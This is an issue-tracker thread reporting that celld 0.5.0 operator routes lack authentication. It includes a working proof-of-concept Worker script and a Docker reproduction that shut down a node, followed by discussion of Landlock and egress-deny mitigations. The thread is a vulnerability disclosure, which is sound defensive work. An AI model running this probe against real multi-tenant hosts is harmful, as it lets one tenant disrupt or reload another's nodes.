Operator routes are reachable from Worker code across fleets sharing a host

[sandros94]

I'm mostly making sure to follow the limits and security practices.

docs/security.md says the application is trusted within its own fleet, and that a trusted private network protects the internal listener. I think there is a gap between the two: a Worker's outbound fetch starts on the node, so it is already inside that network.

From a deployed Worker, against celld 0.5.0:

request	answer
GET http://127.0.0.1:<internal>/state	200, the node state
POST http://127.0.0.1:<internal>/reload	200, "outcome":"adopted"
POST http://127.0.0.1:<internal>/shutdown	200 {"ok":true}, and the node drains and exits

For a single fleet this is within the security model, the app is trusted there. But the fleet is also the isolation unit ("do not run code from mutually distrusting tenants in one fleet"), and two fleets can share a host or a private network. In that setup the Worker of fleet A can /shutdown, /evict or /reload a node of fleet B, since the operator routes carry no authentication at all.

Would you consider requiring the fleet HMAC on the operator routes too, like the peer-control routes already do? A Worker holds no bucket credentials, so it could never read another fleet's fleet/peer-auth.json, and nothing changes for a fleet's own operators.

Reproduction

A simple celld + SeaweedFS, in Docker. With a app/wrangler.jsonc as test:

{ "name": "probe", "main": "index.js", "compatibility_date": "2026-01-01", "no_bundle": true }

app/index.js:

const TARGETS = [
  ["GET", "http://127.0.0.1:8081/state"],
  ["POST", "http://127.0.0.1:8081/reload"],
  ["POST", "http://127.0.0.1:8081/shutdown"],
];
export default {
  async fetch() {
    const out = {};
    for (const [method, target] of TARGETS) {
      try {
        const r = await fetch(target, { method, signal: AbortSignal.timeout(3000) });
        out[`${method} ${target}`] = `${r.status} ${(await r.text()).slice(0, 60)}`;
      } catch (e) { out[`${method} ${target}`] = `ERR ${String(e).slice(0, 80)}`; }
    }
    return Response.json(out);
  },
};

repro.sh, next to app/:

CELLD=ghcr.io/denoland/celld:0.5.0
CREDS="-e AWS_ACCESS_KEY_ID=any -e AWS_SECRET_ACCESS_KEY=any -e AWS_REGION=us-east-1"
docker network create probe
docker run -d --name s3 --network probe chrislusf/seaweedfs:4.42 server -s3
sleep 15
docker run --rm --network probe curlimages/curl -s -X PUT http://s3:8333/fleet
docker run --rm --network probe $CREDS -v "$PWD/app:/app:ro" -w /app $CELLD \
  deploy --bucket fleet/probe --endpoint http://s3:8333
docker run -d --name node --network probe $CREDS $CELLD \
  --bucket fleet/probe --endpoint http://s3:8333 \
  --listen 0.0.0.0:8080 --internal-listen 0.0.0.0:8081 --advertise node:8081
sleep 20
docker run --rm --network probe curlimages/curl -s http://node:8080/
sleep 10
docker ps -a --filter name=node   # Exited (0)

What the Worker answers:

{
  "GET http://127.0.0.1:8081/state": "200 {\"activating\":0,\"activation_waiting\":0,\"adopting\":0,\"capacit",
  "POST http://127.0.0.1:8081/reload": "200 {\"generation\":2,\"ok\":true,\"outcome\":\"adopted\",\"prefix\":\"depl",
  "POST http://127.0.0.1:8081/shutdown": "200 {\"ok\":true}"
}

and ten seconds later docker ps -a shows node Exited (0).

[sandros94]

Out of curiosity I've tested something: Landlock network isolation does the job and indeed would gate properly each fleet under the same host already. This is already usable in most LTS distros (I've tested it on kernels >=6.18).

At that point the only a compromised dependency could escape celld's isolate and gain the S3 credentials. But it is already part of the security model (one bucket per application), so the damage is contained.

EDIT: for anyone interested https://github.com/landlock-lsm/rust-landlock

[sandros94]

A follow up after spending more time on the Landlock route: it works, but I would say it is the wrong layer for this.

1. Landlock only knows TCP port numbers, never addresses, and only as an allow-list. "Everything but the other fleets' internal ports" ends up being ~65k rules, which I measured at roughly 14 MB of kernel memory per fenced process
2. the rules are frozen at exec, while a peer's internal port is only known once that peer exists, so every fleet needs one fixed internal port across all of its nodes
3. network rules need a 6.7 kernel, scoping a 6.12 one. distros like Debian 12 gets neither

What I am actually after is much smaller: a Worker's fetch/connect should not be able to reach loopback nor the node's own addresses. You already do the equivalent for containers with the nftables fence (no node, no private ranges, no link-local), but that needs root, while the runtime itself could refuse those destinations before dialing, no privileges involved.

Speaking of privileges, whichever route you end up picking, IMO it should not require any, nor be tied to Docker (or to any container engine at all): plenty of nodes could run rootless, under Podman, k8s or straight on the host.

So two possible shapes, not mutually exclusive:

• the fleet HMAC on the operator routes, as per the original ask
• an opt-in switch that denies Worker egress to loopback and to the node's own addresses (eventually the private ranges too, like the container fence)

Would either be in scope?